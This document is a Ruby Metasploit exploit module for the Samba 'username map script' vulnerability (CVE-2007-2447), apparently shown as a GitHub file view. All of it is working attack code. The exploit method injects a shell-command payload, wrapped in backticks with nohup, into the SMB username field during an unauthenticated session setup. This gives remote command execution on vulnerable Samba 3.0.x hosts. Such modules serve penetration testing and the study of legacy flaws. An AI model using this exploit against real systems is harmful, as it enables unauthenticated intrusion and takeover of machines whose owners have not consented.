cgranleese-r7
90 lines
2.7 KiB
Ruby
90 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::SMB::Client
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# For our customized version of session_setup_no_ntlmssp
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CONST = Rex::Proto::SMB::Constants
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CRYPT = Rex::Proto::SMB::Crypt
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Samba "username map script" Command Execution',
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'Description' => %q{
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This module exploits a command execution vulnerability in Samba
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versions 3.0.20 through 3.0.25rc3 when using the non-default
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"username map script" configuration option. By specifying a username
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containing shell meta characters, attackers can execute arbitrary
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commands.
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No authentication is needed to exploit this vulnerability since
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this option is used to map usernames prior to authentication!
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},
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'Author' => [ 'jduck' ],
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'License' => MSF_LICENSE,
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'References' => [
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[ 'CVE', '2007-2447' ],
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[ 'OSVDB', '34700' ],
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[ 'BID', '23972' ],
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[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ],
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[ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ]
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],
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'Platform' => ['unix'],
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'Arch' => ARCH_CMD,
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'Privileged' => true, # root or nobody user
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'Payload' => {
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'Space' => 1024,
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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# *_perl and *_ruby work if they are installed
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# mileage may vary from system to system..
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}
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},
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'Targets' => [
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[ "Automatic", {} ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2007-05-14',
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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register_options(
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[
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Opt::RPORT(139)
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]
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)
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deregister_options('SMB::ProtocolVersion')
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end
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def exploit
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vprint_status('Use Rex client (SMB1 only) since this module is not compatible with RubySMB client')
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connect(versions: [1])
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# lol?
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username = "/=`nohup " + payload.encoded + "`"
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begin
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simple.client.negotiate(false)
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simple.client.session_setup_no_ntlmssp(username, rand_text(16), datastore['SMBDomain'], false)
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rescue ::Timeout::Error, XCEPT::LoginError
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# nothing, it either worked or it didn't ;)
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end
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handler
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end
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end
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